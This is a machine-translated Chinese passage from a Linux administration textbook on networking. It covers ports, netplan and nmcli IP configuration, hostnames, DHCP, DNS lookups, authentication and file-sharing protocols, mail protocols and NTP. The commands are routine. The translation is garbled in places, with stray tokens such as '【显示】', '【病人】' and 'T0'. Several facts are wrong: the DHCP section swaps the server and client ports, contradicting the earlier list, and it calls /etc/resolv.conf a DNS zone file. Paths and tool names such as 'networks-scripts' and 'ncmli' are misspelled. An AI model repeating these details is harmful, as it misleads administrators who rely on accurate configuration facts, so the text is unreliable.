在创建套接字的进程的生命周期之后,套接字不能处于活动状态(发送或接收数据)。 - -网络套接字在 OSI 模型的传输层级别上操作。 套接字连接有两个端点——发送端和接收端。 发送方和接收方都有自己的 IP 地址。 因此,套接字数据结构中的关键信息是拥有套接字的端点的*IP 地址*。 - -两个端点通过使用这些套接字的网络进程来创建和管理它们的套接字。 发送方和接收方可以同意使用多个连接来交换数据。 其中一些连接甚至可以并行运行。 我们如何区分这些套接字连接? IP 地址本身是不够的,这是*端口*发挥作用的地方。 - -网络*端口*是一个逻辑结构,用于识别主机上运行的特定进程或网络服务。 端口的取值范围为`0`~`65535`。 通常,`0`~`1024`范围内的端口被分配给系统中使用最多的服务。 这些端口也称为*知名端口*。 下面是一些知名端口的例子以及它们各自的相关网络服务: - -* `25`-smtp -* `21`-ftp -* `22`-ssh -* `53`-dns -* `67`,`68`-DHCP (client =`68`,server =`67`) -* `80`-http -* `443`-**HTTP 安全**(**HTTPS**) - -除`1024`外的端口号是通用的,也被称为*临时端口*。 - -一个端口总是与一个 IP 地址相关联。 最终,套接字是 IP 地址和端口的组合。 有关网络套接字的更多信息,您可以参考*RFC 147*([https://tools.ietf.org/html/rfc147](https://tools.ietf.org/html/rfc147))。 关于知名端口,请参见*RFC 1340*([https://tools.ietf.org/html/rfc1340](https://tools.ietf.org/html/rfc1340))。 - -接下来,让我们看看如何在 Linux 中配置本地网络堆栈,从而应用到目前为止所获得的知识。 - -## Linux 网络配置 - -本节描述 Ubuntu 和 CentOS 平台的 TCP/IP 网络配置,使用的是他们最新发布的版本。 相同的概念适用于大多数 Linux 发行版,尽管其中涉及的一些网络配置实用程序和文件可能有所不同。 - -我们使用`ip`命令行实用程序来检索系统的当前 IP 地址,如下所示: - -```sh -ip addr -``` - -这里显示了一个输出示例: - -![Figure 7.6 – Retrieving the current IP addresses with the ip command](img/B13196_07_06.jpg) - -图 7.6 -使用 IP 命令检索当前的 IP 地址 - -我们突出显示了一些相关信息,例如网络接口 ID(`2: ens33`)和带子网前缀的 IP 地址(`172.16.146.133/24`)。 - -接下来让我们看看 Ubuntu 的网络配置。 在撰写本文时,Ubuntu 当前发布的版本是 20.04。 - -### Ubuntu 的网络配置 - -Ubuntu 20.04 提供了`netplan`命令行实用程序,便于网络配置。 `netplan`使用**YAML Ain't Markup Language**(**YAML**)配置文件生成网络接口绑定。 `netplan`配置文件位于`/etc/netplan/`目录中,如下代码片段所示: - -```sh -ls /etc/netplan/ -``` - -在我们的例子中,配置文件是`00-installer-config.yaml`,如下所示: - -![Figure 7.7 – Retrieving the netplan configuration file(s)](img/B13196_07_07.jpg) - -图 7.7 -检索网络规划配置文件 - -更改网络配置涉及到编辑`netplan`YAML 配置文件。 作为一种良好的实践,在进行更改之前,我们应该始终对当前配置文件进行备份。 - -我们先来看看动态 IP 地址。 - -#### 动态 IP - -要启用动态(DHCP) IP 地址,我们编辑`netplan`配置文件,并将我们选择的网络接口(本例中为`ens33`)的`dhcp4`属性设置为`true`,如下所示: - -```sh -sudo nano /etc/netplan/00-installer-config.yaml -``` - -下面是相关的配置摘录,相关的要点突出显示: - -![Figure 7.8 – Enabling DHCP in the netplan configuration](img/B13196_07_08.jpg) - -图 7.8 - netplan 配置中启用 DHCP - -保存配置文件后,我们可以使用以下命令测试相关的更改: - -```sh -sudo netplan try -``` - -我们得到以下响应: - -![Figure 7.9 – Testing and accepting the netplan configuration changes](img/B13196_07_09.jpg) - -图 7.9 -测试和接受网络计划配置更改 - -`netplan`验证新配置并提示接受更改。 将当前的更改应用到系统中: - -```sh -sudo netplan apply -``` - -接下来,我们使用`netplan`配置一个静态 IP 地址。 - -#### 静态 IP - -要设置网络接口的静态 IP 地址,我们首先编辑`netplan`配置 YAML 文件,如下所示: - -```sh -sudo nano /etc/netplan/00-installer-config.yaml -``` - -下面是一个静态 IP 地址为`172.16.146.100/24`的配置示例: - -![Figure 7.10 – Static IP configuration example with netplan ](img/B13196_07_10.jpg) - -图 7.10 -使用 netplan 的静态 IP 配置示例 - -在保存配置之后,我们可以测试和接受,然后应用更改,就像我们在*Dynamic IP*部分所做的那样,使用以下命令: - -```sh -sudo netplan try -sudo netplan apply -``` - -有关`netplan`命令行实用程序的更多信息,请参阅`netplan --help`或相关的系统手册(`man netplan`)。 - -接下来我们将在 CentOS 的网络配置中查看。 在撰写本文时,当前发布的**Red Hat Enterprise Linux**(**RHEL**)/CentOS 版本是 CentOS 8。 - -### CentOS 网络配置 - -在 CentOS 8 中有两种配置和管理网络接口的方法,概述如下: - -* 手动编辑`/etc/sysconfig/network-scripts/`中的网络接口文件 -* 使用`nmcli`命令行实用程序 - -网络配置文件位于`/etc/sysconfig/networks-scripts/`目录中,如下面的代码片段所示。 它们根据相应的网络接口 ID 命名,前缀为`ifcfg`。 在我们的例子中,我们使用以下命令检索配置文件: - -```sh -ls /etc/sysconfig/networks-scripts/ -``` - -输出如下: - -![Figure 7.11 – Retrieving the network configuration files](img/B13196_07_11.jpg) - -图 7.11 -检索网络配置文件 - -唯一的网络配置文件是`ifcfg-ens33`,它对应于`ens33`网络接口。 - -让我们先看看动态 IP 地址。 - -#### 动态 IP - -以下是针对`ifcfg-ens33`的 DHCP 配置示例: - -![Figure 7.12 – Dynamic IP configuration](img/B13196_07_12.jpg) - -图 7.12 -动态 IP 配置 - -动态 IP 地址启用`BOOTPROTO="dhcp"`。 `BOOTPROTO`可能的值如下: - -* `dhcp`-使用 DHCP 协议设置动态 IP 地址 -* `bootp`-使用**Bootstrap**(**BOOTP**)协议来设置动态 IP 地址 -* `none`-使用静态 IP 地址 - -要应用这些更改,我们需要重新启动(`down`和`up`)相关的网络接口(`ens33`),代码如下: - -```sh -sudo nmcli connection down ens33 -sudo nmcli connection up ens33 -``` - -为了使用`ncmli`配置动态 IP 地址,我们运行如下命令: - -```sh -sudo nmcli connection modify ens33 IPv4.method auto -``` - -`IPv4.method auto`指令使能 DHCP。 - -接下来让我们配置一个静态 IP 地址。 - -#### 静态 IP - -下面是`ifcfg-ens33`的静态 IP 配置示例: - -![Figure 7.13 – Static IP configuration](img/B13196_07_13.jpg) - -图 7.13 -静态 IP 配置 - -相关的变化被突出显示。 `BOOTPROTO="none"`禁用 DHCP。 `IPADDR`、`PREFIX`设置静态 IP 地址`172.16.146.136/24`。 我们还指定了网关和 DNS 服务器。 - -更改用以下代码保存: - -```sh -sudo nmcli connection down ens33 -sudo nmcli connection up ens33 -``` - -要使用`ncmli`执行等效的静态 IP 地址更改,我们需要运行多个命令。 首先,我们设置静态 IP 地址,如下: - -```sh -sudo nmcli connection modify ens33 IPv4.address 172.16.146.136/24 -``` - -如果我们没有配置以前的静态 IP 地址,我们建议在继续下一步之前保存之前的更改。 使用以下代码保存更改: - -```sh -sudo nmcli connection down ens33 -sudo nmcli connection up ens33 -``` - -接下来,我们设置网关和 DNS IP 地址,如下所示: - -```sh -sudo nmcli connection modify ens33 IPv4.gateway 172.16.146.2 -sudo nmcli connection modify ens33 IPv4.dns 8.8.8.8 -``` - -最后,我们用以下代码禁用 DHCP: - -```sh -sudo nmcli connection modify ens33 IPv4.method manual -``` - -在这些改变之后,我们需要重新启动`ens33`网络接口,代码如下: - -```sh -sudo nmcli connection down ens33 -sudo nmcli connection up ens33 -``` - -接下来,我们将看看如何更改 Linux 机器的主机名。 - -### 主机名配置 - -要检索 Linux 机器上的当前主机名,我们可以使用`hostname`或`hostnamectl`命令,如下所示: - -```sh -hostname -``` - -在我们的例子中,响应是这样的: - -![Figure 7.14 – Retrieving the current hostname](img/B13196_07_14.jpg) - -图 7.14 -获取当前主机名 - -更改主机名最方便的方法是使用`hostnamectl`命令。 我们可以用以下代码将主机名更改为`jupiter`: - -```sh -sudo hostnamectl set-hostname jupiter -``` - -这次让我们用`hostnamectl`命令验证主机名的更改,如下所示: - -```sh -hostnamectl -``` - -与`hostname`命令相比,`hostnamectl`命令的输出提供了更详细的信息,如下所示: - -![Figure 7.15 – Retrieving the current hostname with the hostnamectl command](img/B13196_07_15.jpg) - -图 7.15 -使用 hostnamectl 命令获取当前主机名 - -或者,可以使用`hostname`命令临时更改主机名*,如下所示:* - -```sh -sudo hostname jupiter -``` - -但是,除非我们也改变了`/etc/hostname`和`/etc/hosts`文件中的主机名,否则*将无法在*重新引导后存活,如下所示: - -![Figure 7.16 – The /etc/hostname and /etc/hosts files](img/B13196_07_16.jpg) - -图 7.16 - /etc/hostname 和/etc/hosts 文件 - -在重新配置主机名之后,注销然后登录通常会反映更改。 - -# 使用网络服务 - -在本节中,我们列举了一些在 Linux 上运行的最常见的网络服务。 在您所选择的 Linux 平台上,并不是这里提到的所有服务都是默认安装或启用的。 [*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器*、【显示】和[第 9 章](09.html#_idTextAnchor157),*获得 Linux【病人】,进入如何安装和配置其中的一些。 本节的重点仍然是这些网络服务是什么,它们是如何工作的,以及它们用于通信的网络协议。* - -网络服务通常是为数据通信目的实现应用层(OSI 第 7 层)功能的系统进程。 网络服务通常设计为点对点或客户机-服务器架构。 - -在点对点网络中,多个网络节点在共享和交换公共数据集的同时,各自运行它们自己的具有同等特权的网络服务实例。 以一个 DNS 服务器网络为例,所有服务器都共享和更新它们的域名记录。 - -客户机-服务器网络通常涉及网络上的一个或多个服务器节点,以及多个客户机与任何这些服务器通信。 客户机-服务器网络服务的一个例子是 SSH。 SSH 客户端通过安全终端会话连接到远程 SSH 服务器,可能是出于远程管理的目的。 - -下面的每一小节都简要描述了一个网络服务,我们鼓励您进一步探索感兴趣的相关主题。 让我们从 DHCP 服务器开始。 - -## DHCP 服务器 - -DHCP 服务器使用 DHCP 协议使网络中的设备能够请求动态分配的 IP 地址。 本章前面的*TCP/IP 协议*一节简要描述了 DHCP 协议。 - -请求 DHCP 服务的计算机或设备在网络上发送广播消息(或查询)来定位 DHCP 服务器,DHCP 服务器提供所请求的 IP 地址和其他信息。 DHCP 客户端(设备)与服务器之间使用 DHCP 协议进行通信。 - -DHCP 协议在客户端和服务器之间的初始*发现*工作流在 OSI 模型中的数据链路层(2)上运行。 由于第二层使用网络帧作为 pdu,因此 DHCP 发现报文不能跨越本地网络边界。 即 DHCP 客户端只能向*本地*DHCP 服务器发起通信。 - -在最初的*握手*(在第 2 层)之后,DHCP 使用数据报套接字(第 4 层)转向 UDP 作为其传输协议。由于 UDP 是无连接协议,DHCP 客户端和服务器无需事先安排就可以交换消息。 因此,两个端点(客户机和服务器)都需要一个众所周知的 DHCP 通信端口来进行来回的数据交换。 这些是众所周知的*端口`68`(对于 DHCP 服务器)和`67`(对于 DHCP 客户端)。* - - *DHCP 服务器为网络中请求 DHCP 服务的每个设备维护 IP 地址和其他客户端配置数据(如 MAC 地址和域服务器地址)。 - -DHCP 服务器采用*leasing*机制动态分配 IP 地址。 租赁 IP 地址受*租赁时间*的限制,可以是有限的,也可以是无限的。 当 IP 地址的租期到期时,DHCP 服务器可能会根据请求将其重新分配给其他客户端。 设备通过定期向 DHCP 服务器请求租约*更新*来保持其动态 IP 地址。 否则,可能导致设备动态 IP 地址丢失。 如果先前的地址已经被 DHCP 服务器分配,一个迟来的(或租期后的)DHCP 请求可能会导致一个新的 IP 地址被获取。 - -在 Linux 机器上查询 DHCP 服务器的一个简单方法是调用以下命令: - -```sh -ip route -``` - -这是前一个命令的输出: - -![Figure 7.17 – Querying the IP route for DHCP information](img/B13196_07_17.jpg) - -图 7.17 -查询 DHCP 信息的 IP 路由 - -输出的第一行提供 DHCP 服务器(`172.16.146.2`)。 - -[*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器*,将进一步深入到安装和配置 DHCP 服务器的实际细节。 - -更多关于 DHCP 的信息,请参考*RFC 2131*([https://tools.ietf.org/html/rfc2131](https://tools.ietf.org/html/rfc2131))。 - -## DNS 服务器 - -**域名服务器(DNS****),也称为*名称服务器【显示】,提供了一个名称解析机制,将主机名(如`wikipedia.org`)到一个 IP 地址(如`208.80.154.224`)。 名称解析协议是 DNS,在本章前面的*TCP/IP 协议*section 中有简要描述。 在 dns 管理的 TCP/IP 网络中,计算机和设备也可以通过主机名(而不仅仅是 IP 地址)来识别和相互通信。*** - -作为一个合理的类比,DNS 非常类似于地址簿。 主机名比 IP 地址更容易记忆。 即使在一个只有几台计算机和设备连接的本地网络中,也很难通过简单地使用 IP 地址来识别(或记忆)任何主机。 互联网依赖全球分布的 DNS 服务器网络。 - -有四个不同类型的 DNS 服务器:**递归服务器**、**根服务器**、**顶级域名(TLD)****服务器【显示】,**和**权威服务器。 所有这些 DNS 服务器类型一起工作,为您带来互联网,因为您体验它在您的浏览器。** - -一个**递归 DNS 服务器**是一个解析器,它可以帮助你找到你搜索的网站的目的地(IP)。 当你做一个查找操作时,一个递归 DNS 服务器连接到不同的其他 DNS 服务器,以找到你正在寻找的 IP 地址,并以网站的形式返回给你。 由于缓存了执行的每个查询,递归 DNS 查找速度更快。 在递归类型的查询中,DNS 服务器调用自身并进行递归,同时仍向其他 DNS 服务器发送请求以寻找答案。 还有一种迭代类型的 DNS 查找。 - -每个 DNS 服务器直接执行**迭代 DNS**查找,而不使用缓存。 例如,在迭代查询中,每个 DNS 服务器都响应另一个 DNS 服务器的地址,直到其中一个服务器具有与所讨论的主机名匹配的 IP 地址并响应客户机。 有关 DNS 服务器类型的详细信息,请查看以下 Cloudflare 学习解决方案:[https://www.cloudflare.com/learning/dns/what-is-dns/](https://www.cloudflare.com/learning/dns/what-is-dns/)。 - -DNS 服务器维护(并可能共享)一组*数据库*文件,也称为*区域*文件—通常是简单的纯文本 ASCII 文件,存储名称和 IP 地址映射。 在 Linux 中,一个这样的 DNS 解析器文件是`/etc/resolv.conf`。 - -要查询管理本机的 DNS 服务器,我们可以通过运行以下代码来查询`/etc/resolv.conf`文件: - -```sh -cat /etc/resolv.conf | grep nameserver -``` - -输出产生以下代码: - -![Figure 7.18 – Querying DNS server using /etc/resolv.conf](img/B13196_07_18.jpg) - -图 7.18 -使用/etc/resolv.conf 查询 DNS 服务器 - -查询网络上任意主机名称服务器数据的一种简单方法是使用`nslookup`工具。 如果您的系统上没有安装`nslookup`实用程序,您可以使用下面列出的命令来安装。 - -在 Ubuntu/Debian 上执行如下命令: - -```sh -sudo apt-get install dnsutils -``` - -在 CentOS 操作系统上运行如下命令: - -```sh -sudo yum install bind-utils -``` - -例如,要查询本地网络中名为`neptune.local`的计算机的名称-服务器信息,我们运行以下命令: - -```sh -nslookup neptune.local -``` - -输出如下所示: - -![Figure 7.19 – Querying name-server information with nslookup](img/B13196_07_19.jpg) - -图 7.19 -使用 nslookup 查询名称-服务器信息 - -我们还可以交互地使用`nslookup`工具。 例如,要查询`wikipedia.org`的名称-服务器信息,我们可以简单地运行以下命令: - -```sh -nslookup -``` - -然后在交互提示中输入`wikipedia.org`:如下所示: - -![Figure 7.20 – Using the nslookup tool interactively](img/B13196_07_20.jpg) - -图 7.20 -交互式地使用 nslookup 工具 - -按*Ctrl*+*C*退出交互式 shell 模式。 下面是对前面输出中显示的信息的简要解释: - -* **服务器(地址)**:本地运行的 DNS 服务器的环回地址(T0)和端口(T1) -* **名称**:我们正在查询的互联网域名([wikipedia.org](http://wikipedia.org)) -* **地址**:IPv4(`208.80.154.224`)和 IPv6(`2620:0:861:ed1a::1`)地址对应于查找域([wikipedia.org](http://wikipedia.org)) - -`nslookup`在提供 IP 地址时也可以进行反向 DNS 搜索。 下面的命令检索 IP 地址`8.8.8.8`对应的名称服务器(`dns.google`): - -```sh -nslookup 8.8.8.8 -``` - -该命令输出如下: - -![Figure 7.21 – Reverse DNS search with nslookup](img/B13196_07_21.jpg) - -图 7.21 -使用 nslookup 进行反向 DNS 搜索 - -有关`nslookup`工具的更多信息,您可以参考`nslookup`系统参考手册(`man nslookup`)。 - -或者,我们可以使用`dig`命令行实用程序。 如果您的系统上没有安装`dig`实用程序,您可以通过在 Ubuntu/Debian 上安装`dnsutils`包或在 CentOS 平台上安装`bind-utils`来实现。 安装包的相关命令在前面用`nslookup`显示。 - -例如,下面的命令检索本地网络中名为`jupiter.local.localdomain`的计算机的名称-服务器信息: - -```sh -dig jupiter.local.localdomain -``` - -这是结果(参见高亮显示的`ANSWER SECTION`): - -![Figure 7.22 – Querying name-server information with dig](img/B13196_07_22.jpg) - -图 7.22 -使用 dig 查询名称-服务器信息 - -要使用`dig`执行反向 DNS 查找,我们指定`-x`选项,在后面加上一个 IP 地址(例如`8.8.4.4`),如下所示: - -```sh -dig -x 8.8.4.4 -``` - -该命令产生以下输出(请参阅突出显示的`ANSWER SECTION`): - -![Figure 7.23 – Reverse DNS lookup with dig](img/B13196_07_23.jpg) - -图 7.23 -使用 dig 进行反向 DNS 查找 - -有关`dig`命令行实用程序的更多信息,请参考相关的系统手册(`man dig`)。 - -DNS 协议运行在 OSI 模型的应用层(7)。 标准 DNS 服务知名端口为`53`。 - -[*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器*,将进一步深入到 DNS 服务器的安装和配置的实际细节。 有关 DNS 的更多信息,请参考*RFC 1035*([https://www.ietf.org/rfc/rfc1035.txt](https://www.ietf.org/rfc/rfc1035.txt))。 - -DHCP 和 DNS 网络服务可以说是最接近 TCP/IP 网络堆栈的,当计算机或设备连接到网络时,它们扮演着至关重要的角色。 毕竟,没有正确的 IP 地址和名称解析,就没有网络通信。 - -显然,分布式网络和相关的应用服务器不仅仅是 DNS 和 DHCP 服务器执行的严格的纯网络管理堆栈。 在下面几节中,我们将快速浏览一下在分布式 Linux 系统上运行的一些最相关的应用服务器。 - -## 认证服务器 - -独立 Linux 系统通常使用默认的身份验证机制,其中用户凭据存储在本地文件系统中(例如`/etc/passwd`,`/etc/shadow`)。 我们在本书前面的[*第 4 章*](04.html#_idTextAnchor073)、*管理用户和组*中探讨了相关的用户认证内部机制。 但是,当我们将身份验证边界扩展到本地机器之外时——例如,访问文件或电子邮件服务器——在远程主机和本地主机之间共享用户凭据将成为一个严重的安全问题。 - -理想情况下,我们应该在网络上有一个集中式的身份验证端点,由安全的身份验证服务器处理。 在用户可以访问远程系统资源之前,应该使用可靠的加密机制验证用户凭据。 - -让我们考虑一下对任意文件服务器上的网络共享的安全访问。 假设访问需要**活动目录**(**AD**)用户身份验证。 在用户的客户机机器上本地创建相关的挂载(共享)将提示输入用户凭据。 身份验证请求由文件服务器(代表客户端)向身份验证服务器发出。 如果认证成功,客户端可以使用服务器共享。 下图展示了使用**轻量级目录访问协议**(**LDAP**)身份验证端点在客户端和服务器之间的简单远程身份验证流程: - -![Figure 7.24 – Authentication workflow with LDAP](img/B13196_07_24.jpg) - -图 7.24 -使用 LDAP 的身份验证工作流 - -标准安全身份验证平台(适用于 Linux)的示例包括: - -* **Kerberos**([https://en.wikipedia.org/wiki/Kerberos_(protocol)](https://en.wikipedia.org/wiki/Kerberos_(protocol)) -* **LDAP**(T2】https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) -* **远程认证拨号用户业务**(**RADIUS**)([https://en.wikipedia.org/wiki/RADIUS](https://en.wikipedia.org/wiki/RADIUS)) -* **直径**([https://en.wikipedia.org/wiki/Diameter_(protocol)](https://en.wikipedia.org/wiki/Diameter_(protocol)) -* **终端接入控制器接入控制系统**(**TACACS+**)([https://datatracker.ietf.org/doc/rfc8907/](https://datatracker.ietf.org/doc/rfc8907/)) - -我们就去/安装和配置 Linux 的 LDAP 身份验证服务器(使用 OpenLDAP**)在*配置 LDAP 服务器【显示】的[*第 9 章*【病人】,*获得 Linux*。](09.html#_idTextAnchor157)*** - -在本节中,我们通过一个使用文件服务器的示例说明了身份验证工作流。 为了继续这个话题,让我们接下来看看网络文件共享服务。 - -## 文件共享 - -在通常的网络术语中,文件共享表示客户机机器能够*装入*并访问属于服务器的远程文件系统,就好像它是本地的一样。 在客户端机器上运行的应用将直接访问服务器上的共享文件。 例如,文本编辑器可以加载和修改远程文件,然后将其保存回相同的远程位置,这一切都是无缝和透明的操作。 底层的远程处理进程——作为本地文件系统的远程文件系统的外观——通过文件共享服务和协议得以实现。 - -对于每个文件共享网络协议,都有一个相应的客户机-服务器文件共享平台。 尽管大多数网络文件服务器(和客户机)具有跨平台实现,但一些操作系统平台更适合于特定的文件共享协议,正如我们将在以下小节中看到的那样。 选择不同的文件服务器实现和协议归根结底是兼容性、安全性和性能的问题。 - -下面是一些最常见的文件共享协议,并对每个协议进行了简要描述。 - -### SMB - -**服务器消息块**(**SMB**)协议提供网络发现、文件和打印机共享服务。 SMB 还支持通过网络进行进程间通信。 SMB 是一个比较老的协议,由**International Business Machines Corporation**(**IBM**)于 20 世纪 80 年代开发。 最终,微软接手并通过多个版本(SMB 1.0、2.0、2.1、3.0、3.0.2 和 3.1.1)对当前版本进行了相当大的修改。 - -### CIFS - -**Common Internet File System**(**CIFS**)协议是 SMB 协议的一种特殊实现。 由于底层协议的相似性,SMB 客户机将能够与 CIFS 服务器通信,反之亦然。 虽然 SMB 和 CIFS 在习惯上是相同的,但它们在文件锁定、批处理和最终性能方面的内部实现有很大的不同。 除了遗留系统,CIFS 目前很少使用。 SMB 应该总是优先于 CIFS,特别是对于 SMB 2 或 SMB 3 的最新版本。 - -### Samba - -与 CIFS 一样,**Samba**是 SMB 协议的另一个实现。 Samba 为各种服务器平台上的 Windows 客户机提供文件和打印共享服务。 换句话说,Windows 客户机可以无缝地访问 Linux Samba 服务器上的目录、文件和打印机,就好像它们在与 Windows 服务器通信一样。 - -从第 4 版开始,Samba 本地支持 Microsoft AD 和 Windows NT 域。 实际上,Linux Samba 服务器可以充当 Windows AD 网络上的域控制器。 因此,Windows 域中的用户凭据可以透明地在 Linux 服务器上使用,而不需要重新创建,然后手动地与 AD 用户保持同步。 - -### NFS - -**网络文件系统**(**NFS**)协议是由 Sun Microsystems 开发的,本质上在与 smb 相同的前提下通过网络访问文件,就好像它们是本地文件一样。 NFS 不兼容 CIFS 或 SMB, NFS 客户端不能直接与 SMB 服务器通信,反之亦然。 - -大多数时候,NFS 是 Linux 网络中选择的文件共享协议。 对于混合的网络环境(例如 Windows、Linux 和 macOS 互操作性),samba 和 SMB 最适合于文件共享。 - -### AFP - -**Apple Filing Protocol**(**AFP**)是 Apple 设计的文件共享协议,仅在 macOS 网络环境下运行。 我们应该注意,除了 AFP 之外,macOS 系统还支持标准的文件共享协议,比如 SMB 和 NFS。 - -一些文件共享协议(如 SMB)也支持打印共享,并被打印服务器使用。 接下来让我们仔细看看印刷品共享。 - -## 打印机服务器 - -*打印机服务器*(或*打印服务器*)使用打印协议将打印机连接到网络上的客户机机器(计算机或移动设备)。 打印协议在网络上负责以下远程打印任务: - -* 发现打印机或打印服务器 -* 查询打印机的状态 -* 正在发送、接收、排队或取消打印作业 -* 查询打印作业状态 - -常见的打印协议包括: - -* **Line Printer Daemon**(**LPD**)协议 -* *通用*协议:**SMB**; **Telnet** -* *无线*打印协议(如苹果**AirPrint**) -* *Internet*打印协议(如**谷歌 Cloud Print**) - -在通用打印协议中,SMB(也是一种文件共享协议)已经在*文件共享*一节中介绍过。 TELNET 通信协议在*远程访问*部分介绍。 - -文件和打印机共享服务主要是关于在网络上的计算机之间*共享*文件,数字或打印的文件。 当涉及到*交换*文档时,额外的网络服务将发挥作用,例如*文件传输*和*电子邮件*服务。 接下来让我们看看文件传输。 - -## 文件传输 - -FTP 是一种标准的网络协议,用于在网络上的计算机之间传输文件。 FTP 运行在一个客户端-服务器环境中,其中 FTP 客户端发起一个远程连接到 FTP 服务器,文件正在中向任意一个方向传输。 FTP 在客户端和服务器之间维护一个*控制连接*和一个或多个*数据连接*。 控制连接*通常建立在 FTP 服务器的端口`21`上,用于在客户端和服务器之间交换命令。 *数据连接*专门用于数据传输,并在客户端和服务器之间协商(通过控制连接)。 数据连接通常涉及入站流量的临时端口,它们只在实际数据传输期间保持打开状态,在传输完成后立即关闭。* - - *FTP 以以下两种*模式之一*协商数据连接: - -* **活动模式**—FTP 客户端向 FTP 服务器发送`PORT`命令,通知客户端*活动*提供入站端口号用于数据连接。 -* **被动模式**- FTP 客户端向 FTP 服务器发送`PASV`命令,表示客户端*被动地*等待服务器为入站数据连接提供端口号。 - -由于所涉及的数据连接的动态特性,当涉及到防火墙配置时,FTP 是一个相对“混乱”的协议。 控制连接的端口通常是众所周知的(如港口`21`不安全的 FTP)但数据连接是起源于不同的端口(通常是`20`),在接收端入站套接字被打开在一个预先配置的短暂的范围(`1024`-`65535`)。 - -FTP 通常通过以下两种方法之一以安全的方式实现: - -* **FTP over SSL**(**FTPS**)-SSL /TLS-encryptedFTP 连接。 缺省情况下,FTPS 控制连接端口为“`990`”。 -* **SSH 文件传输协议**(**SFTP**)-**FTP**over**SSH**。 默认 SFTP 控件连接端口为`22`。 有关 SSH 协议和客户端-服务器连接的更多信息,请参考本章后面的*远程访问*部分中的*SSH*。 - -[*第九章*](09.html#_idTextAnchor157),*保护 Linux*,详细介绍了 Linux FTP 服务器的实际实现。 - -接下来,我们将研究邮件服务器和底层的电子邮件交换协议。 - -## 邮件服务器 - -一个*邮件服务器*(或*邮件服务器*)负责通过网络发送邮件。 邮件服务器可以在同一网络(域)上的客户端(用户)之间交换电子邮件(在公司或组织内),也可以将电子邮件发送到其他邮件服务器(可能超出本地网络,如 internet)。 - -电子邮件交流通常涉及以下参与者: - -* *电子邮件客户端*应用(如 Outlook 或 Gmail) -* 一个或多个*邮件服务器*(交换; Gmail 服务器) -* 邮件交换中涉及的*收件人*—一个*发件人*和一个或多个*收件人* -* 一个电子邮件协议*控制电子邮件客户端和邮件服务器之间的通信* - -最常用的电子邮件协议是**POP3**、**IMAP**和**SMTP**。 让我们仔细看看每一个协议。 - -### POP3 - -**POP 版本 3**(**POP3**)是一个标准的电子邮件协议,用于从远程邮件服务器接收和下载电子邮件到本地电子邮件客户端。 使用 POP3,电子邮件可以离线阅读。 下载后,邮件通常从 POP3 服务器删除,从而节省空间。 现代 POP3 邮件客户端-服务器实现(Gmail; Outlook)也有在服务器上保留电子邮件副本的选项。 当用户从多个位置(客户端应用)访问电子邮件时,在 POP3 服务器上持久化电子邮件变得非常重要。 - -默认的 POP3 端口概述如下: - -* `110`-用于不安全的(未加密的)POP3 连接 -* `995`-用于使用 SSL/TLS 加密的安全 POP3 - -POP3 是一个相对较旧的电子邮件协议,并不总是适合现代电子邮件通信。 当用户从多个设备访问电子邮件时,IMAP 是一个更好的选择。 接下来让我们看看 IMAP 电子邮件协议。 - -### IMAP - -IMAP 是一个标准的电子邮件协议,用于在远程 IMAP 邮件服务器上访问电子邮件。 使用 IMAP,电子邮件总是保留在邮件服务器上,而 IMAP 客户机可以使用电子邮件的副本。 用户可以在多个设备上访问电子邮件,每个设备都有其 IMAP 客户端应用。 - -这里列出了默认的 IMAP 端口: - -* `143`-用于不安全(未加密)的 IMAP 连接 -* `993`-用于使用 SSL/TLS 加密的安全 IMAP - -POP3 和 IMAP 都是接收邮件的标准协议。 要发送电子邮件,SMTP 开始发挥作用。 接下来让我们看看 SMTP 电子邮件协议。 - -### SMTP - -SMTP 是一个标准的电子邮件协议,用于通过网络或互联网发送电子邮件。 - -默认的 SMTP 端口概述如下: - -* `25`-用于不安全的(未加密的)SMTP 连接 -* `465`或`587`表示使用 SSL/TLS 加密的安全 SMTP - -在使用或实现本节中描述的任何标准电子邮件协议时,如果可能,总是建议使用带有最新 TLS 加密的相应安全实现。 POP3、IMAP 和 SMTP 还支持用户身份验证,这是一种额外的安全层——在商业或企业级环境中也是推荐的。 - -为了了解 SMTP 协议是如何操作的,让我们通过一些初始步骤来启动与谷歌的 Gmail SMTP 服务器的 SMTP 握手。 - -我们通过连接到 Gmail SMTP 服务器,通过`openssl`命令使用安全(TLS)连接,如下所示: - -```sh -openssl s_client -starttls smtp -connect smtp.gmail.com:587 -``` - -我们调用`openssl`命令,模拟客户端(`s_client`),启动 TLS SMTP 连接`(-starttls smtp`,并在端口`587``(-connect smtp.gmail.com:587`上连接到远程 SMTP 服务器 Gmail。 - -Gmail SMTP 服务器响应一个相对较长的 TLS 握手块,以以下内容结束: - -![Figure 7.25 – Initial TLS handshake with a Gmail SMTP server](img/B13196_07_25.jpg) - -图 7.25 -与 SMTP 服务器 Gmail 的初始 TLS 握手 - -接下来,我们使用`HELO`命令(精确拼写为 T0)发起 SMTP 通信。 谷歌期待以下`HELO`问候: - -```sh -HELO hellogoogle -``` - -接下来是另一次握手,以`250 smtp.gmail.com at your service`结束,如下所示: - -![Figure 7.26 – Gmail SMTP server is ready for communication](img/B13196_07_26.jpg) - -图 7.26 - Gmail SMTP 服务器已准备好进行通信 - -接下来,Gmail SMTP 服务器需要通过`AUTH LOGIN`SMTP 命令进行身份验证。 我们不会深入讨论细节,但这里要说明的关键问题是,SMTP 协议遵循客户机和服务器之间的明文命令序列。 采用一个安全的(加密的)SMTP 通信通道,使用 TLS 是非常重要的。 这同样适用于任何其他电子邮件协议(POP3; IMAP)。 - -到目前为止,我们已经覆盖了几种网络服务,其中一些跨越多个网络甚至互联网。 网络数据包在有效载荷内携带数据和目标地址,但是在通信端点之间也有同步信号,主要用于识别发送和接收工作流。 网络报文的同步是基于时间戳的。 如果没有网络节点之间高度精确的时间同步,就不可能实现可靠的网络通信。 接下来我们将讨论网络计时器。 - -## NTP 服务器 - -NTP 是用于网络上计算机之间的时钟同步的标准网络协议。 NTP 尝试在**协调世界时**的几毫秒内同步参与计算机上的系统时钟(**UTC**)——世界时间参考。 - -NTP 协议实现通常采用客户机-服务器模型。 NTP 服务器作为网络上的时间源,通过广播或发送更新的*时间戳*数据报给客户端。 NTP 服务器根据全球知名的精确时间服务器不断调整其系统时钟,使用专门的算法来减少网络延迟。 - -在我们选择的 Linux 平台上,检查 NTP 同步状态的一种相对简单的方法是使用`ntpstat`实用程序。 